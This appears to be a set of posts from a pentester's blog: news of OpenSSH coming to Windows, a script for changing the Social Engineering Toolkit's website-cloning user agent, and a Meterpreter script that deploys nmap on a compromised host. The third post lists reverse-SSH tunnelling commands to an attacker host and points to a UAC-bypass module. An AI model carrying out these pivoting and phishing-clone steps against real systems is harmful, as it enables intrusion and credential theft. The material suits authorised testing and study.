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Time to rejoice! OpenSSH official support coming to Windows!

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http://undeadly.org/cgi?action=article&sid=20150603090420&mode=expanded

Granted you can already install cygwin and setup an openssh server (which is a pain), according to multiple sources OpenSSH will be supported by the Microsoft Powershell team. It is honestly about time, because if you’ve ever had to work with Windows Server Core edition, you may have felt like me and thought it was stupid that you would have to RDP into a system for command line access.

I have a strong gut feeling that the Metasploit community (who already seem to love Powershell for AV evasion) are going to have a lot of fun with a Microsoft OS builtin OpenSSH package that may even be able to be installed via the new package manager(?).

What do you guys, gals and bots think?

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Social Engineering Toolkit – User Agent Switcher – setuas.sh

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Imprimis, if you are not familiar with the concept of social engineering, take a look at:

https://en.wikipedia.org/wiki/Social_engineering_(security)

If you are looking for a good book on this topic, then I would highly suggest buying a copy of:

http://www.amazon.com/Social-Engineering-Art-Human-Hacking/dp/0470639539/ref=sr_1_1?ie=UTF8&qid=1327118815&sr=8-1

As for software implementations that you can use to leverage social engineering attacks on targets, David Kennedy‘s Social Engineering Toolkit (SET) is probably one of the best, if not only social engineering frameworks that I know of. SET does not really rely on vulnerable services which I believe is one of the most useful aspects of this toolkit. What you do have to rely on is social engineering. Services and software will be patched while humans will most likely always be vulnerable to social engineering attacks due to misplaced trust.

Despite the fact that this framework is practically the only of its kind, it does have some limitations in certain realms, namely the web site cloning feature. The issue I have ran into with SET is due to the user agent string not being easily switchable. To switch the user agent string for SET, you must manually edit the cloner.py (which is located in/src/webattack/web_clone/ directory) .

The default user agent of SET is:

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6

This means that when the Social Engineering toolkit makes a request on a website and clones it, the response of the web service is based on this user agent string.

What if I want to clone a website that is the mobile version? What if I want to clone a website that checks to see if end users are Microsoft Windows users? This is where the Social Engineering Toolkit User Agent Switcher(setuas.sh) is applicable. This is a very simple Bash shell program that edits the user agent string in the cloner.py module of SET to whatever you like. Simply execute this:

./setuas.sh /pentest/exploits/set/src/webattack/web_clone/cloner.py

You will then be prompted to enter in a user agent string which for instance could be:

Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9

For the moment this is just a quick hack to address the issue. I believe that the SET team should add an option in the config file (/set/config/set_config) for end users to adjust accordingly.

setuas.sh is located here:

http://zitstif.no-ip.org/set/setuas.sh

If you want to just see the plain text version of this file, it is located at:

http://zitstif.no-ip.org/set/setuas.txt

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Meterpreter script – deploy_nmap.rb

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Using a ‘trusted’ host that you have compromised as leverage during a pentest, is nearly always advantageous. I personally believe that the steps of pentesting change in a sense, once you have a session on a computer in an internal network from an external computer.

I would revert back to reconnaissance (depending on the circumstances), since the point of view has changed. The hijacked host is “your man on the inside”, and what a better way to give the ‘man on the inside’ some ‘eyes’ by deploying and using nmap!

One means of using nmap through the compromised host includes:

1.) Deploying an openssh server on the victim machine

2.) Setting up an account

3.) Reversing an ssh session like so: ssh -R 2222:localhost:22 attacker@attackersbox.com

4.) Then you would connect back to the victim using a socks5 proxy: ssh -D 9050 victimaccount@localhost -p 2222

5.) Lastly, you would use nmap and proxychains from the attacker’s host to scan hosts internally through a tunnel between you and the victim machine.

Keep in mind that the Metasploit framework has an auxiliary module “auxiliary/scanner/portscan”, which you can use but let me be quite frank, it doesn’t compare to what is known as the ‘king of all port scanners’ nmap. (No offense Metasploit crew.)

This is why I programmed a meterpreter script that downloads the latest stable version of nmap from www.insecure.org and then deploys nmap onto the victim’s machine. You could then use the victim’s machine to do vulnerability scanning with nmap’s scripting engine. (i.e. nmap –script=smb-check-vulns).

The script has a removal feature that will uninstall nmap and winpcap from the victim’s machine. Please e-mail me or comment if you have any questions, concerns or problems with the script.

NOTE: On versions of Microsoft Windows that use the UAC service, you will most likely need to disable or circumvent this service to successfully deploy nmap.  Luckily there is a module with the Metasploit framework that will help you (post/windows/escalate/bypassuac).

http://zitstif.no-ip.org/meterpreter/deploy_nmap.txt